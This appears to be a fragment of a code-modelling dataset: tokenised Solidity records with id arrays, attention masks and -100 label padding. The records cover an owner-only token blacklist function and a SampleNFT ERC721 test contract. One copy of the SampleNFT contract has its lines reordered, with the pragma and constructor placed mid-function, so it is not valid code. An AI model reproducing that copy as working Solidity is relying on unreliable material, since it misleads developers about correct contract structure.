-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0xE48E2041EABC90eff82D1e5509b22a23663d1870/sources/HaggleXToken.sol
|
Blacklist address from making transfer of tokens./
|
function blacklist(address _address) public onlyOwner {
_blacklist(_address);
}
| 9,095,885 |
[
1,
4625,
348,
7953,
560,
30,
225,
22467,
1098,
1758,
628,
10480,
7412,
434,
2430,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
11709,
12,
2867,
389,
2867,
13,
1071,
1338,
5541,
288,
203,
3639,
389,
22491,
24899,
2867,
1769,
203,
565,
289,
377,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
import "./CannonBase.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
/**
* @title Sample NFT for Unit Testing
* @author Cliff Hall
*/
contract SampleNFT is ERC721, CannonBase {
constructor() ERC721(TOKEN_NAME, TOKEN_SYMBOL) {}
string public constant TOKEN_NAME = "SampleNFT";
string public constant TOKEN_SYMBOL = "SNIFTY";
/**
* Mint a Sample NFT
* @param _owner the address that will own the token
* @param _tokenURIBase the base url to which tokenId will be added.
*/
function mintSample(address _owner, string memory _tokenURIBase)
public
returns (uint256 tokenId, string memory tokenURI) {
tokenId = totalSupply();
tokenURI = strConcat(_tokenURIBase, uintToStr(tokenId));
_mint(_owner, tokenId);
_setTokenURI(tokenId, tokenURI);
return (
tokenId,
tokenURI
);
}
}
|
* @title Sample NFT for Unit Testing @author Cliff Hall/
|
contract SampleNFT is ERC721, CannonBase {
string public constant TOKEN_NAME = "SampleNFT";
string public constant TOKEN_SYMBOL = "SNIFTY";
function mintSample(address _owner, string memory _tokenURIBase)
public
pragma solidity 0.7.4;
constructor() ERC721(TOKEN_NAME, TOKEN_SYMBOL) {}
returns (uint256 tokenId, string memory tokenURI) {
tokenId = totalSupply();
tokenURI = strConcat(_tokenURIBase, uintToStr(tokenId));
_mint(_owner, tokenId);
_setTokenURI(tokenId, tokenURI);
return (
tokenId,
tokenURI
);
}
}
| 2,486,689 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
2649,
11474,
423,
4464,
364,
8380,
7766,
310,
632,
4161,
3905,
3048,
670,
454,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
11474,
50,
4464,
353,
4232,
39,
27,
5340,
16,
385,
1072,
265,
2171,
288,
203,
203,
203,
565,
533,
1071,
5381,
14275,
67,
1985,
273,
315,
8504,
50,
4464,
14432,
203,
565,
533,
1071,
5381,
14275,
67,
22093,
273,
315,
13653,
17925,
61,
14432,
203,
377,
203,
565,
445,
312,
474,
8504,
12,
2867,
389,
8443,
16,
533,
3778,
389,
2316,
3098,
2171,
13,
203,
565,
1071,
203,
683,
9454,
18035,
560,
374,
18,
27,
18,
24,
31,
203,
565,
3885,
1435,
4232,
39,
27,
5340,
12,
8412,
67,
1985,
16,
14275,
67,
22093,
13,
2618,
203,
565,
1135,
261,
11890,
5034,
1147,
548,
16,
533,
3778,
1147,
3098,
13,
288,
203,
203,
3639,
1147,
548,
273,
2078,
3088,
1283,
5621,
203,
3639,
1147,
3098,
273,
609,
15113,
24899,
2316,
3098,
2171,
16,
2254,
774,
1585,
12,
2316,
548,
10019,
203,
3639,
389,
81,
474,
24899,
8443,
16,
1147,
548,
1769,
203,
3639,
389,
542,
1345,
3098,
12,
2316,
548,
16,
1147,
3098,
1769,
203,
203,
3639,
327,
261,
203,
5411,
1147,
548,
16,
203,
5411,
1147,
3098,
203,
3639,
11272,
203,
565,
289,
203,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
